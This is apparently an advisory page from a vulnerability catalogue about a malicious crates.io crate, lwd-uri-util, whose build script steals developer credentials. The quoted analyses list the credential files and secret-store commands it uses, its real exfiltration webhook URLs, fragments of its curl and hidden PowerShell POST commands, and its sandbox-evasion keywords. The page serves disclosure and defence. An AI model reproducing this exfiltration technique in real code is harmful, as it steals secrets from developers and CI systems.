Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Skip to content
Check your stack
MAL-2026-19058No CVE assignedReported malicious package

Malicious code in lwd_uri_util (crates.io)

Products / packages lwd-uri-util

Published

Share

Severity and exploitation

KEV unavailable / staleNo CVSS score

KEV coverage does not rule out exploitation.

KEV checked 28/11/2026, 23:20:32 UTC

Severity

unknown

CVSS measures technical severity, not the likelihood of an attack.

Known exploitation

KEV status unavailable or stale

Absence from CISA KEV does not rule out attacks.

Public exploit

Not established by this record

Missing evidence does not mean no public exploit exists.

Remediation

Fix status not established

No structured fix or guidance is available here. Check the latest publisher advisory.

What this means

--- _-= Per source details. Do not edit below this line.=-_

Source excerpt · OSV

Attack conditions

No attack-condition excerpt has been identified here. Review the full source description and references for authentication, network access, and configuration requirements.

Review supporting sources →

Affected versions

Check the exact model, release, and any platform requirements against your installation.

Packages

Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.

lwd-uri-util crates.io

Read the explicit versions or original source for affected-version evidence.

Version evidence: OSV · MAL-2026-19058

View original version evidence (8 explicit versions)

What to do

Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.

No structured fix or remediation guidance is available here. Check the full source description and vendor’s latest advisory for a patch or workaround; do not assume another version is safe.

cve.new guidance unless attributed to a publisher. This page does not inspect your installation.

Public exploit evidence

No public exploit reference is identified in the imported evidence. This is not a claim that no exploit exists.

Original source description

Read the full publisher description

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (912a23b9591c44a2e3f0e45acc7ec6a62051873048dbc8590ff331a11d205614)

The crate's build.rs runs on every cargo build/check/test (and under rust-analyzer) and performs installer-side credential theft unrelated to the crate's stated URI-canonicalization purpose. It enumerates and reads credential files from the installer's home directory (~/.aws/credentials, ~/.ssh/config, ~/.netrc, ~/.cargo/credentials.toml, ~/.npmrc, ~/.pypirc, ~/.git-credentials, ~/.config/gh/hosts.yml, keplr-mcp vaults, and .env* files in the repository), probes OS secret stores via security find-generic-password, cmdkey /list, and git credential fill, and bulk-dumps the entire process environment (env::vars() with no key filter, values under 8 KiB) — capturing CARGO_REGISTRY_TOKEN, GITHUB_TOKEN, AWS_*, and any other secrets present on CI runners or developer machines. The collected data is serialized to JSON and POSTed to a base64-hidden webhook.site endpoint (https://webhook.site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1) via a detached background process (/bin/sh -c "(curl -s -X POST... &)" on Unix, hidden powershell -NoProfile -WindowStyle Hidden Invoke-WebRequest on Windows) so the build does not block or log the upload. Anti-analysis measures include a hand-rolled base64 decoder for the exfil URL and a sandbox/honeypot keyword allowlist (phylum, socket.dev, sandbox, honeypot, canary, example.com) that suppresses exfiltration when scanner fingerprints are detected in the environment. The crate name resembles legitimate Lightwalletd URI utilities, consistent with a typosquat/lure.

References

8 sources

Inside the record

Evidence available

Package identity
Version evidence · not supplied
Remediation guidance · not supplied
Weakness classification · not supplied
Additional publishers · not supplied

Describes the evidence in this view, not whether the product is safe.

Original records

No official CVE record has been imported. Use the source links below for the original advisory.

cve.new JSON →

Timeline

All times UTC
  1. Advisory published

    Publication date supplied by the source.

  2. Source updated

    Latest modification date supplied by the source.

  3. Last imported by cve.new

    Latest catalog import, not the date we first saw this advisory.

What changed

Follow changes
  1. OSV · MAL-2026-19058

    Observed 2026-11-10T06:51:00.828Z · upstream updated 2026-11-10T06:45:03.086Z

    Description revised

    before

    ---
    _-= Per source details. Do not edit below this line.=-_
    
    ## Source: amazon-inspector (e81c03febf0e971e3e3442e9e9d7987d297c951f84990ea3bfa68edc8e05e544)
    The crate is advertised as a URI canonicalization utility, and lib.rs is pure string manipulation with no network I/O. However, build.rs executes on every `cargo build`/`check`/IDE load and performs installer-side credential theft. It enumerates the full process environment via `env::vars()` with no key filtering, appends hostname and username, serializes the result to a JSON file under OUT_DIR, and POSTs it via a detached `/bin/sh -c "(curl -s -X POST... --data-binary @...)"` on Unix and a hidden `powershell iwr -Method Post` variant on Windows. The three destination URLs are stored as base64 literals and decoded at runtime: `api.sdklfghaljksdhfkjasdfhlasdhfjklasdf.xyz`, `webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea`, and `session-check.sapho11.workers.dev` (the `sapho11` handle matches the crate's Cargo repository field). Reporting is gated by base64-encoded environment-variable markers that select release/publishing workstations — `VINOR_`, `MATCH_`, `FASTLANE_`, `APPLE_ID`, `SPARKLE_`, `ANDROID_KEYSTORE`, `KEYSTORE_`, `PLAY_PUBLISHER`, `SIGNING_CERT`, `CODE_SIGN`, `DEVELOPER_DIR`, `KEYCHAIN` — while suppressing generic CI-runner usernames (runner, root, github, actions, circleci, travis, jenkins, codespace). Env scraping on these hosts routinely captures `CARGO_REGISTRY_TOKEN`, `GITHUB_TOKEN`, `AWS_*`, signing-certificate variables, and keystore paths, enabling downstream code-signing and package-publishing compromise.
    

    after

    ---
    _-= Per source details. Do not edit below this line.=-_
    
    ## Source: amazon-inspector (912a23b9591c44a2e3f0e45acc7ec6a62051873048dbc8590ff331a11d205614)
    The crate's build.rs runs on every `cargo build`/`check`/`test` (and under rust-analyzer) and performs installer-side credential theft unrelated to the crate's stated URI-canonicalization purpose. It enumerates and reads credential files from the installer's home directory (`~/.aws/credentials`, `~/.ssh/config`, `~/.netrc`, `~/.cargo/credentials.toml`, `~/.npmrc`, `~/.pypirc`, `~/.git-credentials`, `~/.config/gh/hosts.yml`, keplr-mcp vaults, and `.env*` files in the repository), probes OS secret stores via `security find-generic-password`, `cmdkey /list`, and `git credential fill`, and bulk-dumps the entire process environment (`env::vars()` with no key filter, values under 8 KiB) — capturing `CARGO_REGISTRY_TOKEN`, `GITHUB_TOKEN`, `AWS_*`, and any other secrets present on CI runners or developer machines. The collected data is serialized to JSON and POSTed to a base64-hidden webhook.site endpoint (`https://webhook.site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1`) via a detached background process (`/bin/sh -c "(curl -s -X POST... &)"` on Unix, hidden `powershell -NoProfile -WindowStyle Hidden Invoke-WebRequest` on Windows) so the build does not block or log the upload. Anti-analysis measures include a hand-rolled base64 decoder for the exfil URL and a sandbox/honeypot keyword allowlist (`phylum`, `socket.dev`, `sandbox`, `honeypot`, `canary`, `example.com`) that suppresses exfiltration when scanner fingerprints are detected in the environment. The crate name resembles legitimate Lightwalletd URI utilities, consistent with a typosquat/lure.
    
    Package ranges changed

    before

    [
      {
        "ecosystem": "crates.io",
        "name": "lwd-uri-util",
        "sources": [
          {
            "name": "OSV · MAL-2026-19058",
            "url": "https://osv.dev/vulnerability/MAL-2026-19058"
          }
        ],
        "ranges": [],
        "versions": [
          "0.1.3",
          "0.1.4",
          "0.1.2",
          "0.1.0",
          "0.1.1"
        ],
        "fixed": []
      }
    ]

    after

    [
      {
        "ecosystem": "crates.io",
        "name": "lwd-uri-util",
        "sources": [
          {
            "name": "OSV · MAL-2026-19058",
            "url": "https://osv.dev/vulnerability/MAL-2026-19058"
          }
        ],
        "ranges": [],
        "versions": [
          "0.1.3",
          "0.1.4",
          "0.1.2",
          "0.1.0",
          "0.1.1",
          "0.1.5",
          "0.1.6",
          "0.1.7"
        ],
        "fixed": []
      }
    ]
    References changed

    before

    [
      "https://crates.io/crates/lwd-uri-util/0.1.3",
      "https://crates.io/crates/lwd-uri-util/0.1.4",
      "https://crates.io/crates/lwd-uri-util/0.1.2",
      "https://crates.io/crates/lwd-uri-util/0.1.0",
      "https://crates.io/crates/lwd-uri-util/0.1.1"
    ]

    after

    [
      "https://crates.io/crates/lwd-uri-util/0.1.3",
      "https://crates.io/crates/lwd-uri-util/0.1.4",
      "https://crates.io/crates/lwd-uri-util/0.1.2",
      "https://crates.io/crates/lwd-uri-util/0.1.0",
      "https://crates.io/crates/lwd-uri-util/0.1.1",
      "https://crates.io/crates/lwd-uri-util/0.1.5",
      "https://crates.io/crates/lwd-uri-util/0.1.6",
      "https://crates.io/crates/lwd-uri-util/0.1.7"
    ]

Large field values are marked as truncated previews. Original source snapshots remain retained.

Showing up to 50 most recent observed changes.

Recent advisories affecting the same package or the same recorded vendor and product. These are separate vulnerabilities, not additional evidence for this advisory.